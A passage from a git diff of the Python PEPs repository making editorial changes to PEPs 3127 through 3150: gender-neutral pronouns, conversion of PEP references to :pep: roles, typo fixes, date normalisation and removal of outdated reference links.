occasionally or as a matter of habit, use leading zeros for decimal numbers. Python could either: -a) silently do the wrong thing with his numbers, as it does now; +a) silently do the wrong thing with their numbers, as it does now; -b) immediately disabuse him of the notion that this is viable syntax +b) immediately disabuse them of the notion that this is viable syntax (and yes, the SyntaxWarning should be more gentle than it currently is, but that is a subject for a different PEP); or -c) let him continue to think that computers are happy with +c) let them continue to think that computers are happy with multi-digit decimal integers which start with "0". Some people passionately believe that (c) is the correct answer, @@ -253,12 +253,11 @@ and they would be absolutely right if we could be sure that new users will never blossom and grow and start writing AJAX applications. So while a new Python user may (currently) be mystified at the -delayed discovery that his numbers don't work properly, we can -fix it by explaining to him immediately that Python doesn't like +delayed discovery that their numbers don't work properly, we can +fix it by explaining to them immediately that Python doesn't like leading zeros (hopefully with a reasonable message!), or we can delegate this teaching experience to the JavaScript interpreter -in the Internet Explorer browser, and let him try to debug his -issue there. +in the browser, and let them try to debug their issue there. Supported radices ----------------- @@ -439,7 +438,7 @@ with the "x" for "heXadecimal". For the string % operator, "o" was already being used to denote octal. Binary formatting is not being added to the % operator -because PEP 3101 (Advanced String Formatting) already supports +because :pep:`3101` (Advanced String Formatting) already supports binary, % formatting will be deprecated in the future. At the end of the day, since uppercase "O" can look like a zero @@ -466,7 +465,7 @@ ample precedence for case sensitivity in the output format string, and there would need to be a consensus that there is a valid use-case for the "alternate form" of the string % operator to support uppercase 'B' or 'O' characters for binary or -octal output. Currently, PEP 3101 does not even support this +octal output. Currently, :pep:`3101` does not even support this alternate capability, and the hex() function does not allow the programmer to specify the case of the 'x' character. diff --git a/pep-3128.txt b/pep-3128.txt index 7cddaf5ff16..0721cb1a272 100644 --- a/pep-3128.txt +++ b/pep-3128.txt @@ -3,12 +3,12 @@ Title: BList: A Faster List-like Type Version: $Revision$ Last-Modified: $Date$ Author: Daniel Stutzbach -Discussions-To: Python 3000 List +Discussions-To: python-3000@python.org Status: Rejected Type: Standards Track Content-Type: text/x-rst Created: 30-Apr-2007 -Python-Version: 2.6 and/or 3.0 +Python-Version: 2.6, 3.0 Post-History: 30-Apr-2007 diff --git a/pep-3129.txt b/pep-3129.txt index 6b98709983f..410ec3b9a88 100644 --- a/pep-3129.txt +++ b/pep-3129.txt @@ -8,22 +8,23 @@ Type: Standards Track Content-Type: text/x-rst Created: 01-May-2007 Python-Version: 3.0 -Post-History: 7-May-2007 +Post-History: 07-May-2007 Abstract ======== This PEP proposes class decorators, an extension to the function -and method decorators introduced in PEP 318. +and method decorators introduced in :pep:`318`. Rationale ========= When function decorators were originally debated for inclusion in -Python 2.4, class decorators were seen as obscure and unnecessary -[#obscure]_ thanks to metaclasses. After several years' experience +Python 2.4, class decorators were seen as +:pep:`obscure and unnecessary <318#motivation>` +thanks to metaclasses. After several years' experience with the Python 2.4.x series of releases and an increasing familiarity with function decorators and their uses, the BDFL and the community re-evaluated class decorators and recommended their @@ -45,7 +46,8 @@ Semantics ========= The semantics and design goals of class decorators are the same as -for function decorators ([#semantics]_, [#goals]_); the only +for function decorators (:pep:`318#current-syntax`, :pep:`318#design-goals`); +the only difference is that you're decorating a class instead of a function. The following two snippets are semantically identical:: @@ -59,7 +61,7 @@ The following two snippets are semantically identical:: class A: pass -For a detailed examination of decorators, please refer to PEP 318. +For a detailed examination of decorators, please refer to :pep:`318`. Implementation @@ -103,21 +105,12 @@ The patch was committed to Subversion as revision 55430. References ========== -.. [#obscure] - http://www.python.org/dev/peps/pep-0318/#motivation - .. [#approval] https://mail.python.org/pipermail/python-dev/2006-March/062942.html .. [#motivation] https://mail.python.org/pipermail/python-dev/2006-March/062888.html -.. [#semantics] - http://www.python.org/dev/peps/pep-0318/#current-syntax - -.. [#goals] - http://www.python.org/dev/peps/pep-0318/#design-goals - .. [#implementation] https://bugs.python.org/issue1671208 diff --git a/pep-3131.txt b/pep-3131.txt index b402c5c12b8..0d8ce9a2584 100644 --- a/pep-3131.txt +++ b/pep-3131.txt @@ -193,7 +193,7 @@ A. Should identifiers be allowed to contain any Unicode letter? solved; tool support is weak. 5. Languages with non-ASCII identifiers use different character sets - and normalization schemes; PEP 3131's choices are non-obvious. + and normalization schemes; :pep:`3131`'s choices are non-obvious. 6. The Unicode bidi algorithm yields an extremely confusing display order for RTL text when digits or operators are nearby. diff --git a/pep-3132.txt b/pep-3132.txt index 7817f6d45ee..44cf829ca80 100644 --- a/pep-3132.txt +++ b/pep-3132.txt @@ -65,7 +65,7 @@ will be assigned a list of all items from the iterable being unpacked that are not assigned to any of the mandatory expressions, or an empty list if there are no such items. -For example, if ``seq`` is a slicable sequence, all the following +For example, if ``seq`` is a sliceable sequence, all the following assignments are equivalent if ``seq`` has at least two elements:: a, b, c = seq[0], list(seq[1:-1]), seq[-1] diff --git a/pep-3133.txt b/pep-3133.txt index ae42c5cb1a6..45c41516093 100644 --- a/pep-3133.txt +++ b/pep-3133.txt @@ -15,8 +15,8 @@ Post-History: 13-May-2007 Rejection Notice ================ -This PEP has helped push PEP 3119 towards a saner, more minimalistic -approach. But given the latest version of PEP 3119 I much prefer +This PEP has helped push :pep:`3119` towards a saner, more minimalistic +approach. But given the latest version of :pep:`3119` I much prefer that. GvR. @@ -69,7 +69,7 @@ A Note on Syntax A syntax proposals in this PEP are tentative and should be considered to be strawmen. The necessary bits that this PEP depends -on -- namely PEP 3115's class definition syntax and PEP 3129's class +on -- namely :pep:`3115`'s class definition syntax and :pep:`3129`'s class decorators -- are still being formalized and may change. Function names will, of course, be subject to lengthy bikeshedding debates. @@ -112,7 +112,7 @@ Let's see if roles can help. :: class Rock(Mineral): ... -We use class decorators from PEP 3129 to associate a particular role +We use class decorators from :pep:`3129` to associate a particular role or roles with a class. Client code can now verify that an incoming object performs the ``Doglike`` role, allowing it to handle ``Wolf``, ``LaughingHyena`` and ``Aibo`` [#aibo]_ instances, too. @@ -302,7 +302,7 @@ Relationship to Abstract Base Classes ===================================== Early drafts of this PEP [#proposal]_ envisioned roles as competing -with the abstract base classes proposed in PEP 3119. After further +with the abstract base classes proposed in :pep:`3119`. After further discussion and deliberation, a compromise and a delegation of responsibilities and use-cases has been worked out as follows: @@ -507,7 +507,7 @@ into :: ... Assigning a role could take advantage of the class definition -arguments proposed in PEP 3115: :: +arguments proposed in :pep:`3115`: :: class MyClass(performs=MyRole): ... diff --git a/pep-3134.txt b/pep-3134.txt index d9f8abfdce6..97127dfdfe6 100644 --- a/pep-3134.txt +++ b/pep-3134.txt @@ -14,7 +14,7 @@ Post-History: Numbering Note ============== -This PEP started its life as PEP 344. Since it is now targeted for Python +This PEP started its life as :pep:`344`. Since it is now targeted for Python 3000, it has been moved into the 3xxx space. @@ -70,7 +70,7 @@ original exception. Greg Ewing [4]_ and Guido van Rossum [5]_, and probably others, have previously mentioned adding a traceback attribute to Exception instances. -This is noted in PEP 3000. +This is noted in :pep:`3000`. This PEP was motivated by yet another recent Python-Dev reposting of the same ideas [6]_ [7]_. @@ -466,7 +466,7 @@ Possible Future Compatible Changes These changes are consistent with the appearance of exceptions as a single object rather than a triple at the interpreter level. -- If PEP 340 or PEP 343 is accepted, replace the three (``type``, ``value``, +- If :pep:`340` or :pep:`343` is accepted, replace the three (``type``, ``value``, ``traceback``) arguments to ``__exit__`` with a single exception argument. - Deprecate ``sys.exc_type``, ``sys.exc_value``, ``sys.exc_traceback``, and diff --git a/pep-3135.txt b/pep-3135.txt index 2477e1b1774..e67bd874589 100644 --- a/pep-3135.txt +++ b/pep-3135.txt @@ -10,12 +10,16 @@ Type: Standards Track Content-Type: text/x-rst Created: 28-Apr-2007 Python-Version: 3.0 -Post-History: 28-Apr-2007, 29-Apr-2007 (1), 29-Apr-2007 (2), 14-May-2007, 12-Mar-2009 +Post-History: `28-Apr-2007 `__, + `29-Apr-2007 `__, + `29-Apr-2007 `__, + `14-May-2007 `__, + `12-Mar-2009 `__ Numbering Note ============== -This PEP started its life as PEP 367. Since it is now targeted +This PEP started its life as :pep:`367`. Since it is now targeted for Python 3000, it has been moved into the 3xxx space. Abstract @@ -139,7 +143,7 @@ The proposal adds a dynamic attribute lookup to the super type, which will automatically determine the proper class and instance parameters. Each super attribute lookup identifies these parameters and performs the super lookup on the instance, as the current super implementation does with the explicit -invokation of a super instance upon a class and instance. +invocation of a super instance upon a class and instance. This proposal relies on sys._getframe(), which is not appropriate for anything except a prototype implementation. diff --git a/pep-3137.txt b/pep-3137.txt index 7e94b5fa56a..4db260b5765 100644 --- a/pep-3137.txt +++ b/pep-3137.txt @@ -17,7 +17,7 @@ After releasing Python 3.0a1 with a mutable bytes type, pressure mounted to add a way to represent immutable bytes. Gregory P. Smith proposed a patch that would allow making a bytes object temporarily immutable by requesting that the data be locked using the new buffer -API from PEP 3118. This did not seem the right approach to me. +API from :pep:`3118`. This did not seem the right approach to me. Jeffrey Yasskin, with the help of Adam Hupp, then prepared a patch to make the bytes type immutable (by crudely removing all mutating APIs) @@ -65,7 +65,7 @@ I propose the following type names at the Python level: - ``memoryview`` is a bytes view on another object (PyMemory) The old type named ``buffer`` is so similar to the new type -``memoryview``, introduce by PEP 3118, that it is redundant. The rest +``memoryview``, introduce by :pep:`3118`, that it is redundant. The rest of this PEP doesn't discuss the functionality of ``memoryview``; it is just mentioned here to justify getting rid of the old ``buffer`` type. (An earlier version of this PEP proposed ``buffer`` as the new name @@ -105,7 +105,7 @@ Functionality PEP 3118 Buffer API ------------------- -Both bytes and bytearray implement the PEP 3118 buffer API. The bytes +Both bytes and bytearray implement the :pep:`3118` buffer API. The bytes type only implements read-only requests; the bytearray type allows writable and data-locked requests as well. The element data type is always 'B' (i.e. unsigned byte). @@ -164,7 +164,7 @@ Slicing a bytes object returns a bytes object. Slicing a bytearray object returns a bytearray object. Slice assignment to a bytearray object accepts anything that -implements the PEP 3118 buffer API, or an iterable of integers in +implements the :pep:`3118` buffer API, or an iterable of integers in range(256). Indexing @@ -201,7 +201,7 @@ types, except where mentioned: - ``b *= n``: mutates b if it is a bytearray object. - ``b1 in b2``, ``b1 not in b2``: substring test; b1 can be any - object implementing the PEP 3118 buffer API. + object implementing the :pep:`3118` buffer API. - ``i in b``, ``i not in b``: single-byte membership test; i must be an integer (if it is a length-1 bytes array, it is considered @@ -218,7 +218,7 @@ Methods ------- The following methods are implemented by bytes as well as bytearray, with -similar semantics. They accept anything that implements the PEP 3118 +similar semantics. They accept anything that implements the :pep:`3118` buffer API for bytes arguments, and return the same type as the object whose method is called ("self"):: @@ -246,7 +246,7 @@ which constructs an object from a string containing hexadecimal values (with or without spaces between the bytes). The bytearray type implements these additional methods from the -MutableSequence ABC (see PEP 3119): +MutableSequence ABC (see :pep:`3119`): .extend(), .insert(), .append(), .reverse(), .pop(), .remove(). @@ -275,7 +275,7 @@ is just a special case of conversion to str. There is however no promise that printing a bytes object interprets the individual bytes as characters (unlike in Python 2.x). -The str type currently implements the PEP 3118 buffer API. While this +The str type currently implements the :pep:`3118` buffer API. While this is perhaps occasionally convenient, it is also potentially confusing, because the bytes accessed via the buffer API represent a platform-depending encoding: depending on the platform byte order and @@ -283,7 +283,7 @@ a compile-time configuration option, the encoding could be UTF-16-BE, UTF-16-LE, UTF-32-BE, or UTF-32-LE. Worse, a different implementation of the str type might completely change the bytes representation, e.g. to UTF-8, or even make it impossible to access the data as a -contiguous array of bytes at all. Therefore, the PEP 3118 buffer API +contiguous array of bytes at all. Therefore, the :pep:`3118` buffer API will be removed from the str type. The ``basestring`` Type diff --git a/pep-3138.txt b/pep-3138.txt index b5018fc7a72..bb15445171c 100644 --- a/pep-3138.txt +++ b/pep-3138.txt @@ -2,7 +2,7 @@ PEP: 3138 Title: String representation in Python 3000 Version: $Revision$ Last-Modified: $Date$ -Author: Atsuo Ishimoto +Author: Atsuo Ishimoto Status: Final Type: Standards Track Content-Type: text/x-rst @@ -103,7 +103,7 @@ Specification '\\uXXXX'. * Convert non-printable characters (Py_UNICODE_ISPRINTABLE() returns - 0) to 'xXX', '\\uXXXX' or '\\U00xxxxxx'. + 0) to '\\xXX', '\\uXXXX' or '\\U00xxxxxx'. * Backslash-escape quote characters (apostrophe, 0x27) and add a quote character at the beginning and the end. diff --git a/pep-3139.txt b/pep-3139.txt index b2a19e006ab..d6b79fffff9 100644 --- a/pep-3139.txt +++ b/pep-3139.txt @@ -185,10 +185,11 @@ Copyright -Local Variables: -mode: indented-text -indent-tabs-mode: nil -sentence-end-double-space: t -fill-column: 70 -coding: utf-8 -End: +.. + Local Variables: + mode: indented-text + indent-tabs-mode: nil + sentence-end-double-space: t + fill-column: 70 + coding: utf-8 + End: diff --git a/pep-3140.txt b/pep-3140.txt index ffa947bfd2b..65060f49035 100644 --- a/pep-3140.txt +++ b/pep-3140.txt @@ -3,7 +3,7 @@ Title: str(container) should call str(item), not repr(item) Version: $Revision$ Last-Modified: $Date$ Author: Oleg Broytman , - Jim J. Jewett + Jim J. Jewett Discussions-To: python-3000@python.org Status: Rejected Type: Standards Track @@ -79,13 +79,13 @@ string if the input is non-ASCII string):: >>> print(['тест']) ['\xd4\xc5\xd3\xd4'] -One of the motivations for PEP 3138 is that neither ``repr`` nor ``str`` +One of the motivations for :pep:`3138` is that neither ``repr`` nor ``str`` will allow the sensible printing of dicts whose keys are non-ASCII text strings. Now that Unicode identifiers are allowed, it includes Python's own attribute dicts. This also includes JSON serialization (and caused some hoops for the json lib). -PEP 3138 proposes to fix this by breaking the "repr is safe ASCII" +:pep:`3138` proposes to fix this by breaking the "repr is safe ASCII" invariant, and changing the way ``repr`` (which is used for persistence) outputs some objects, with system-dependent failures. diff --git a/pep-3141.txt b/pep-3141.txt index 5e3685b936f..e4a7773e1ad 100644 --- a/pep-3141.txt +++ b/pep-3141.txt @@ -34,7 +34,7 @@ Specification This PEP specifies a set of Abstract Base Classes, and suggests a general strategy for implementing some of the methods. It uses -terminology from PEP 3119, but the hierarchy is intended to be +terminology from :pep:`3119`, but the hierarchy is intended to be meaningful for any systematic method of defining sets of classes. The type checks in the standard library should use these classes @@ -61,7 +61,7 @@ numbers are supported by this hierarchy. :: In short, those are: conversion to complex, bool(), .real, .imag, +, -, *, /, **, abs(), .conjugate(), ==, and !=. - If it is given heterogenous arguments, and doesn't have special + If it is given heterogeneous arguments, and doesn't have special knowledge about them, it should fall back to the builtin complex type as described below. """ @@ -518,15 +518,12 @@ tower. References ========== -.. [#pep3119] Introducing Abstract Base Classes - (http://www.python.org/dev/peps/pep-3119/) - .. [#classtree] Possible Python 3K Class Tree?, wiki page by Bill Janssen (http://wiki.python.org/moin/AbstractBaseClasses) .. [#numericprelude] NumericPrelude: An experimental alternative hierarchy of numeric type classes - (http://darcs.haskell.org/numericprelude/docs/html/index.html) + (https://archives.haskell.org/code.haskell.org/numeric-prelude/docs/html/index.html) .. [#schemetower] The Scheme numerical tower (https://groups.csail.mit.edu/mac/ftpdir/scheme-reports/r5rs-html/r5rs_8.html#SEC50) diff --git a/pep-3142.txt b/pep-3142.txt index ffa9eec519b..15abbd84197 100644 --- a/pep-3142.txt +++ b/pep-3142.txt @@ -22,8 +22,8 @@ This PEP proposes an enhancement to generator expressions, adding a Rationale ========= -A generator expression (PEP 289 [1]_) is a concise method to serve -dynamically-generated objects to list comprehensions (PEP 202 [2]_). +A generator expression (:pep:`289`) is a concise method to serve +dynamically-generated objects to list comprehensions (:pep:`202`). Current generator expressions allow for an "if" clause to filter the objects that are returned to those meeting some set of criteria. However, since the "if" clause is evaluated for every @@ -33,7 +33,7 @@ objects would be rejected after a certain point. For example:: g = (n for n in range(100) if n*n < 50) which is equivalent to the using a generator function -(PEP 255 [3]_):: +(:pep:`255`):: def __gen(exp): for n in exp: @@ -105,19 +105,6 @@ Raymond Hettinger first proposed the concept of generator expressions in January 2002. -References -========== - -.. [1] PEP 289: Generator Expressions - http://www.python.org/dev/peps/pep-0289/ - -.. [2] PEP 202: List Comprehensions - http://www.python.org/dev/peps/pep-0202/ - -.. [3] PEP 255: Simple Generators - http://www.python.org/dev/peps/pep-0255/ - - Copyright ========= diff --git a/pep-3143.txt b/pep-3143.txt index d7e76518dc5..fa0858d251f 100644 --- a/pep-3143.txt +++ b/pep-3143.txt @@ -22,24 +22,6 @@ any daemon regardless of what else the program may need to do. This PEP introduces a package to the Python standard library that provides a simple interface to the task of becoming a daemon process. - -.. contents:: -.. - Table of Contents: - Abstract - Specification - Example usage - Interface - ``DaemonContext`` objects - Motivation - Rationale - Correct daemon behaviour - A daemon is not a service - Reference Implementation - Other daemon implementations - References - Copyright - ============ PEP Deferral ============ diff --git a/pep-3144.txt b/pep-3144.txt index 9168df17aca..aff805637bc 100644 --- a/pep-3144.txt +++ b/pep-3144.txt @@ -4,7 +4,7 @@ Version: $Revision$ Last-Modified: $Date$ Author: Peter Moody BDFL-Delegate: Nick Coghlan -Discussions-To: +Discussions-To: ipaddr-py-dev@googlegroups.com Status: Final Type: Standards Track Content-Type: text/x-rst @@ -47,7 +47,7 @@ seeks to provide. Background ========== -PEP 3144 and ``ipaddr`` have been up for inclusion before. The +:pep:`3144` and ``ipaddr`` have been up for inclusion before. The version of the library specified here is backwards incompatible with the version on PyPI and the one which was discussed before. In order to avoid confusing users of the current ``ipaddr``, I've diff --git a/pep-3145.txt b/pep-3145.txt index 8a6a8865dfc..e0aa51318e1 100644 --- a/pep-3145.txt +++ b/pep-3145.txt @@ -2,7 +2,7 @@ PEP: 3145 Title: Asynchronous I/O For subprocess.Popen Version: $Revision$ Last-Modified: $Date$ -Author: (James) Eric Pruitt, Charles R. McCreary, Josiah Carlson +Author: Eric Pruitt, Charles R. McCreary, Josiah Carlson Status: Withdrawn Type: Standards Track Content-Type: text/x-rst @@ -25,7 +25,7 @@ PEP Deferral ============ Further exploration of the concepts covered in this PEP has been deferred -at least until after PEP 3156 has been resolved. +at least until after :pep:`3156` has been resolved. PEP Withdrawal diff --git a/pep-3146.txt b/pep-3146.txt index 03f32b30dde..afa39136af5 100644 --- a/pep-3146.txt +++ b/pep-3146.txt @@ -874,7 +874,7 @@ Lowlights: - Developers must know two related languages, C and C++ to work on the full range of CPython's internals. -- A C++ style guide will need to be developed and enforced. PEP 7 will be +- A C++ style guide will need to be developed and enforced. :pep:`7` will be extended [#pep7-cpp]_ to encompass C++ by taking the relevant parts of the C++ style guides from Unladen Swallow [#us-styleguide]_, LLVM [#llvm-styleguide]_ and Google [#google-styleguide]_. @@ -992,7 +992,7 @@ Proposed Merge Plan We propose focusing our efforts on eventual merger with CPython's 3.x line of development. The BDFL has indicated that 2.7 is to be the final release of CPython's 2.x line of development [#bdfl-27-final]_, and since 2.7 alpha 1 has -already been released [#cpy-27a1]_, we have missed the window. Python 3 is the +:pep:`already been released <373>`, we have missed the window. Python 3 is the future, and that is where we will target our performance efforts. We recommend the following plan for merger of Unladen Swallow into the CPython @@ -1203,12 +1203,6 @@ References .. [#bdfl-27-final] https://mail.python.org/pipermail/python-dev/2010-January/095682.html -.. [#cpy-27a1] - http://www.python.org/dev/peps/pep-0373/ - -.. [#cpy-32]_ - http://www.python.org/dev/peps/pep-0392/ - .. [#us-punchlist] http://code.google.com/p/unladen-swallow/issues/list?q=label:Merger diff --git a/pep-3147-1.png b/pep-3147-1.png index 930910adfa4..8c692667aa2 100644 Binary files a/pep-3147-1.png and b/pep-3147-1.png differ diff --git a/pep-3147.txt b/pep-3147.txt index 07a4e4b0931..e8c5a303df6 100644 --- a/pep-3147.txt +++ b/pep-3147.txt @@ -8,7 +8,7 @@ Type: Standards Track Content-Type: text/x-rst Created: 16-Dec-2009 Python-Version: 3.2 -Post-History: 2010-01-30, 2010-02-25, 2010-03-03, 2010-04-12 +Post-History: 30-Jan-2010, 25-Feb-2010, 03-Mar-2010, 12-Apr-2010 Resolution: https://mail.python.org/pipermail/python-dev/2010-April/099414.html @@ -22,7 +22,7 @@ allowing more than one byte compilation file (.pyc files) to be co-located with the Python source file (.py file). The extension described here can also be used to support different Python compilation caches, such as JIT output that may be produced by an -Unladen Swallow [1]_ enabled C Python. +Unladen Swallow (:pep:`3146`) enabled C Python. Background @@ -79,7 +79,7 @@ Python release was added or removed from the distribution. Because of the sheer number of packages available, this amount of work is infeasible. -(PEP 384 [7]_ has been proposed to address binary compatibility issues +(:pep:`384` has been proposed to address binary compatibility issues of third party extension modules across different versions of Python.) Because these distributions cannot share pyc files, elaborate @@ -126,7 +126,7 @@ one does not already exist. The pyc file for the imported source will be written to the `__pycache__` directory, using the magic-tag formatted name. If either the creation of the `__pycache__` directory or the pyc file inside that fails, the import will still succeed, just -as it does in a pre-PEP-3147 world. +as it does in a pre-:pep:`3147` world. If the py source file is missing, the pyc file inside `__pycache__` will be ignored. This eliminates the problem of accidental stale pyc @@ -139,7 +139,7 @@ the directory where the py file *would* have been, i.e. not in the be imported if the py source file is missing. Tools such as `py_compile` [15]_ and `compileall` [16]_ will be -extended to create PEP 3147 formatted layouts automatically, but will +extended to create :pep:`3147` formatted layouts automatically, but will have an option to create pyc-only distribution layouts. @@ -318,6 +318,7 @@ Here is a flow chart describing how modules are loaded: .. image:: pep-3147-1.png :scale: 75 + :class: invert-in-dark-mode Alternative Python implementations @@ -432,7 +433,7 @@ package [17]_: Alternative implementations are free to override these functions to return reasonable values based on their own support for this PEP. These methods are allowed to return `None` when the implementation (or -PEP 302 loader [18]_ in effect) for whatever reason cannot calculate +:pep:`302` loader in effect) for whatever reason cannot calculate the appropriate file name. They should not raise exceptions. @@ -443,7 +444,7 @@ For versions of Python earlier than 3.2 (and possibly 2.7), it is possible to backport this PEP. However, in Python 3.2 (and possibly 2.7), this behavior will be turned on by default, and in fact, it will replace the old behavior. Backports will need to support the old -layout by default. We suggest supporting PEP 3147 through the use of +layout by default. We suggest supporting :pep:`3147` through the use of an environment variable called `$PYTHONENABLECACHEDIR` or the command line switch `-Xenablecachedir` to enable the feature. @@ -484,11 +485,11 @@ proposed in this PEP. PEP 304 ------- -There is some overlap between the goals of this PEP and PEP 304 [19]_, -which has been withdrawn. However PEP 304 would allow a user to +There is some overlap between the goals of this PEP and :pep:`304`, +which has been withdrawn. However :pep:`304` would allow a user to create a shadow file system hierarchy in which to store `pyc` files. This concept of a shadow hierarchy for `pyc` files could be used to -satisfy the aims of this PEP. Although the PEP 304 does not indicate +satisfy the aims of this PEP. Although the :pep:`304` does not indicate why it was withdrawn, shadow directories have a number of problems. The location of the shadow `pyc` files would not be easily discovered and would depend on the proper and consistent use of the @@ -565,8 +566,6 @@ this is not an April Fools joke :). References ========== -.. [1] PEP 3146 - .. [2] The marshal module: https://docs.python.org/dev/library/marshal.html @@ -580,8 +579,6 @@ References .. [6] Debian Python Policy: http://www.debian.org/doc/packaging-manuals/python-policy/ -.. [7] PEP 384 - .. [8] python-support: http://wiki.debian.org/DebianPythonFAQ#Whatispython-support.3F @@ -605,10 +602,6 @@ References .. [17] imp: http://www.python.org/doc/current/library/imp.html -.. [18] PEP 302 - -.. [19] PEP 304 - .. [20] http://www.mail-archive.com/python-dev@python.org/msg45203.html .. [21] importlib: http://docs.python.org/3.1/library/importlib.html diff --git a/pep-3149.txt b/pep-3149.txt index e441d0f637c..a7d64707ce8 100644 --- a/pep-3149.txt +++ b/pep-3149.txt @@ -8,14 +8,14 @@ Type: Standards Track Content-Type: text/x-rst Created: 09-Jul-2010 Python-Version: 3.2 -Post-History: 2010-07-14, 2010-07-22 +Post-History: 14-Jul-2010, 22-Jul-2010 Resolution: https://mail.python.org/pipermail/python-dev/2010-September/103408.html Abstract ======== -PEP 3147 [1]_ described an extension to Python's import machinery that +:pep:`3147` described an extension to Python's import machinery that improved the sharing of Python source code, by allowing more than one byte compilation file (.pyc) to be co-located with each source file. @@ -28,7 +28,7 @@ more easily provide more than one Python major version at a time. Background ========== -PEP 3147 defined the file system layout for a pure-Python package, +:pep:`3147` defined the file system layout for a pure-Python package, where multiple versions of Python are available on the system. For example, where the `alpha` package containing source modules `one.py` and `two.py` exist on a system with Python 3.2 and 3.3, the post-byte @@ -53,7 +53,7 @@ to changes in the ABI. Different configuration/compilation options for the same Python version can result in different ABIs (e.g. --with-wide-unicode). -While PEP 384 [2]_ defines a stable ABI, it will minimize, but not +While :pep:`384` defines a stable ABI, it will minimize, but not eliminate extension module incompatibilities between Python builds or major versions. Thus a mechanism for discriminating extension module file names is proposed. @@ -71,7 +71,7 @@ In order to share as much as possible between the available Python versions, these distributions install third party package modules (``.pyc`` and ``.so`` files) into `/usr/share/pyshared` and symlink to them from `/usr/lib/pythonX.Y/dist-packages`. The symlinks exist -because in a pre-PEP 3147 world (i.e < Python 3.2), the `.pyc` files +because in a pre-:pep:`3147` world (i.e < Python 3.2), the `.pyc` files resulting from byte compilation by the various installed Pythons will name collide with each other. For Python versions >= 3.2, all pure-Python packages can be shared, because the `.pyc` files will no @@ -187,17 +187,17 @@ useful for Windows. PEP 384 ======= -PEP 384 defines a stable ABI for extension modules. In theory, -universal adoption of PEP 384 would eliminate the need for this PEP +:pep:`384` defines a stable ABI for extension modules. In theory, +universal adoption of :pep:`384` would eliminate the need for this PEP because all extension modules could be compatible with any Python version. In practice of course, it will be impossible to achieve -universal adoption, and as described above, different built-time flags +universal adoption, and as described above, different build-time flags still affect the ABI. Thus even with a stable ABI, this PEP may still -be necessary. While a complete specification is reserved for PEP 384, +be necessary. While a complete specification is reserved for :pep:`384`, here is a discussion of the relevant issues. -PEP 384 describes a change to ``PyModule_Create()`` where ``3`` is -passed as the API version if the extension was complied with +:pep:`384` describes a change to ``PyModule_Create()`` where ``3`` is +passed as the API version if the extension was compiled with ``Py_LIMITED_API``. This should be formalized into an official macro called ``PYTHON_ABI_VERSION`` to mirror ``PYTHON_API_VERSION``. If and when the ABI changes in an incompatible way, this version number @@ -205,7 +205,7 @@ would be bumped. To facilitate sharing, Python would be extended to search for extension modules with the ``PYTHON_ABI_VERSION`` number in its name. The prefix ``abi`` is reserved for Python's use. -Thus, an initial implementation of PEP 384, when Python is configured +Thus, an initial implementation of :pep:`384`, when Python is configured with the default set of flags, would search for the following file names when extension module `foo` is imported (in this order):: @@ -222,7 +222,7 @@ by adding a keyword argument to the ``Extension`` class, such as:: Extension('foo', ['foo.c'], abi=3) Martin v. Löwis describes his thoughts [7]_ about the applicability of this -PEP to PEP 384. In summary: +PEP to :pep:`384`. In summary: * ``--with-pydebug`` would not be supported by the stable ABI because this changes the layout of ``PyObject``, which is an exposed @@ -246,9 +246,9 @@ Independent directories or symlinks Debian and Ubuntu could simply add a version-specific directory to ``sys.path`` that would contain just the extension modules for that -version of Python. Or the symlink trick eliminated in PEP 3147 could +version of Python. Or the symlink trick eliminated in :pep:`3147` could be retained for just shared libraries. This approach is rejected -because it propagates the essential complexity that PEP 3147 tries to +because it propagates the essential complexity that :pep:`3147` tries to avoid, and adds potentially several additional directories to search for all modules, even when the number of extension modules is much fewer than the total number of Python packages. For example, builds @@ -262,7 +262,7 @@ Don't share packages with extension modules It has been suggested that Python packages with extension modules not be shared among all supported Python versions on a distribution. Even -with adoption of PEP 3149, extension modules will have to be compiled +with adoption of :pep:`3149`, extension modules will have to be compiled for every supported Python version, so perhaps sharing of such packages isn't useful anyway. Not sharing packages with extensions though is infeasible for several reasons. @@ -289,10 +289,6 @@ are uploaded. References ========== -.. [1] PEP 3147 - -.. [2] PEP 384 - .. [3] Ubuntu: .. [4] Debian: diff --git a/pep-3150.txt b/pep-3150.txt index 3b8240a1386..22d2164bca8 100644 --- a/pep-3150.txt +++ b/pep-3150.txt @@ -8,8 +8,7 @@ Type: Standards Track Content-Type: text/x-rst Created: 09-Jul-2010 Python-Version: 3.4 -Post-History: 2010-07-14, 2011-04-21, 2011-06-13 -Resolution: TBD +Post-History: 14-Jul-2010, 21-Apr-2011, 13-Jun-2011 Abstract @@ -230,13 +229,13 @@ simplify the initial parsing step). New PEP 8 Guidelines -------------------- -As discussed on python-ideas ([7]_, [9]_) new PEP 8 guidelines would also +As discussed on python-ideas ([7]_, [9]_) new :pep:`8` guidelines would also need to be developed to provide appropriate direction on when to use the ``given`` clause over ordinary variable assignments. Based on the similar guidelines already present for ``try`` statements, this PEP proposes the following additions for ``given`` statements to the -"Programming Conventions" section of PEP 8: +"Programming Conventions" section of :pep:`8`: - for code that could reasonably be factored out into a separate function, but is not currently reused anywhere, consider using a ``given`` clause. @@ -267,7 +266,7 @@ honour of preceding the implementation details: - decorators (which can greatly affect the behaviour of the created object, and were placed ahead of even the keyword and name as a matter - of practicality moreso than aesthetics) + of practicality more so than aesthetics) - the docstring (on the first line immediately following the header line) - parameters, default values and annotations for function definitions - parent classes, metaclass and optionally other details (depending on @@ -337,17 +336,17 @@ That way lies C++ and Perl :) Relation to PEP 403 ------------------- -PEP 403 (General Purpose Decorator Clause) attempts to achieve the main +:pep:`403` (General Purpose Decorator Clause) attempts to achieve the main goals of this PEP using a less radical language change inspired by the existing decorator syntax. Despite having the same author, the two PEPs are in direct competition with -each other. PEP 403 represents a minimalist approach that attempts to achieve +each other. :pep:`403` represents a minimalist approach that attempts to achieve useful functionality with a minimum of change from the status quo. This PEP instead aims for a more flexible standalone statement design, which requires a larger degree of change to the language. -Note that where PEP 403 is better suited to explaining the behaviour of +Note that where :pep:`403` is better suited to explaining the behaviour of generator expressions correctly, this PEP is better able to explain the behaviour of decorator clauses in general. Both PEPs support adequate explanations for the semantics of container comprehensions. @@ -377,7 +376,7 @@ appear to misbehave at class scope: only the outermost iterator is evaluated at class scope, while all predicates, nested iterators and value expressions are evaluated inside a nested scope. -Not that, unlike PEP 403, the current version of this PEP *cannot* +Not that, unlike :pep:`403`, the current version of this PEP *cannot* provide a precisely equivalent expansion for a generator expression. The closest it can get is to define an additional level of scoping:: @@ -449,7 +448,7 @@ though those variables are only going to be used once? When should an inline while loop be replaced with a generator that implements the same logic? Opinions differ, and that's OK. -However, explicit 